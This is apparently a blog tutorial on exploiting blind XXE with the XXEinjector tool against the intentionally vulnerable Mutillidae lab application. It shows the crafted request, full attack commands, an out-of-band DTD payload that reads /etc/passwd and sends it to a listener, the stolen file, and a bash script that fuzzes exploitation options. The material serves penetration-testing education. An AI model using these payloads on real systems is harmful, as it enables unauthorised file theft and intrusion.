Automating Blind XXE Injection



sudo ruby XXEinjector.rb –host=127.0.0.1 –file=req.txt –path=/etc/passwd –httpport=800 –proxy=127.0.0.1:8080 –urlencode –ftpport=2221 –phpfilter –verboseXXE attacks have become part of the OWASP TOP10 in 2017 and should therefore have high attention. One type of XXE attack that is often overlooked is Blind XXE, which could allow for reading files, port scanning internally or even in rare cases remote code execution. Blind XXE can be very tedius to exploit, but there is a handy tool called XXEinjector (https://github.com/enjoiz/XXEinjector) that may be used for conducting a number of attacks, for example retrieving non-binary files from the web applications file system. After identifying a Blind XXE for example in Burpsuite it is pretty straight forward with this tool. Simply save the request into a file (req.txt for example) and insert XXEINJECT at the location of the identified injectible parameter.

The following example uses the multidae web application in the SAMURAI WTF image as an illustration in how /etc/passwd may be retreived. XXEinjector does not work with GET requets, so the request has to be converted to POST in order for the tool to work.

contents of req.txt

POST /index.php HTTP/1.1
Host: mutillidae
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=nk9emldshtdo81bde0qfrh5c55; showhints=1
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 142

page=xml-validator.php&xml=XXEINJECT&xml-validator-php-submit-button=Validate+XML

Then use the following line to attempt the attack:

sudo ruby XXEinjector.rb --host=127.0.0.1 --file=req.txt --path=/etc/passwd --httpport=800 --proxy=127.0.0.1:8080 --urlencode --ftpport=2221 --phpfilter --verbose

Explanation

host = the host of the listening server (your ip address)
file = file containing the request with XXEINJECT marked at the vulnerable loction
path = the file you want to retreive
httpport = the listening port of the httpserver (default is 80)
proxy = the proxy to use to see the requests (not necessary but makes it easier to troubleshoot)
urlencode = converts the injected string into URL (sometimes necessary)
ftpport = the listenning ftp port to use for sending the contents of the files
phpfilter = sends the content  as  base64 and then decodes it back (necessary in some cases)

The command above will output the following:

DTD injected.
Enumeration locked.
Sending request with malicious XML:
http://mutillidae:80/index.php
{"User-Agent"=>"Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:43.0) Gecko/20100101 Firefox/43.0", "Accept"=>"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language"=>"en-US,en;q=0.5", "Accept-Encoding"=>"gzip, deflate", "DNT"=>"1", "Referer"=>"http://mutillidae/index.php?page=xml-validator.php&xml=%3Csomexml%3E%3Cmessage%3EHello+World%3C%2Fmessage%3E%3C%2Fsomexml%3E+&xml-validator-php-submit-button=Validate+XML", "Cookie"=>"PHPSESSID=nk9emldshtdo81bde0qfrh5c55; showhints=1", "Connection"=>"close", "Cache-Control"=>"max-age=0", "Content-Type"=>"application/x-www-form-urlencoded", "Content-Length"=>"191"}

page=xml-validator.php&xml=%3C!DOCTYPE+convert+[+%3C!ENTITY+%25+remote+SYSTEM+%22http://127.0.0.1:800/file.dtd%22%3E%25remote;%25int;%25trick;]%3E&xml-validator-php-submit-button=Validate+XML

Got request for XML:
GET /file.dtd HTTP/1.0

Responding with XML for: /etc/passwd
XML payload sent:
<!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'ftp://127.0.0.1:2221/%payl;'>">

Response with file/directory content received. Enumeration unlocked.
Successfully logged file: /etc/passwd
Response with file/directory content received. Enumeration unlocked.
Successfully logged file: /etc/passwd

The file is now accessible in ./Logs/mutillidae/etc/passwd.log 

$ cat Logs/mutillidae/etc/passwd.log 
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

In order to fetch a full directory, simply specify the directory path instead of the file path. However, many XML parsers do not allow for enumerating directories. For such occasions, XXEinjector includes a bruteforce option. Simply specifiy the file with the –brute=list.txt option. For example a simple lfi list like https://github.com/1N3/IntruderPayloads/blob/master/FuzzLists/lfi.txt may be used (make sure to remove any spaces in the file). The full command will then be:

sudo ruby XXEinjector.rb --host=127.0.0.1 --file=req.txt --brute=lfi.txt --httpport=800 --proxy=127.0.0.1:8080 --urlencode --ftpport=2221 --phpfilter --verbose

Some trial and error was conducted in order to find what parameters worked for exploiting Blind XXE on this specific web application. For example it was identified that the urlfilter and phpfilter was necessary for the exploitation to work. The dirty script below was created in aiding identifying (fuzzing) various options in XXEinjector. This may help the process of identifying how exploitable an identified Blind XXE actually is.

#!/bin/bash
#AutoXXEfuzzer - By Kenny Jansson
#Uses XXEinjector.rb for fuzzing BLIND xxe requests to identify what works
#Example usage: sudo ./AutoXXE.sh 127.0.0.1 req.txt /etc/passwd

host=$1
file=$2
path=$3
httpport=800
ftpport=221

basecommand="timeout 10 ruby XXEinjector.rb --host=$host --file=$file --httpport=$httpport --ftpport=$ftpport --verbose"

IFS=$'\n'
echo "HELLO" > /tmp/uploadfile.txt
options=$(printf -- "%s\n" {"--phpfilter ",}{"--gopher ",}{"--path=$path ",}{"--oob=http ",}{"--oob=ftp ",}{"--oob=gopher ",}{"--netdoc ",}{"--upload=/tmp/uploadfile.txt ",}{"--expect=dir ",})
options=( $(echo "$options") )

for i in ${options[@]}
do
 echo "--- Trying $basecommand $i"
 eval "$basecommand $i"
done

echo "The following combinations of options were attempted:"
echo "$options"

 

 

 

 

Leave a Reply

Your email address will not be published. Required fields are marked *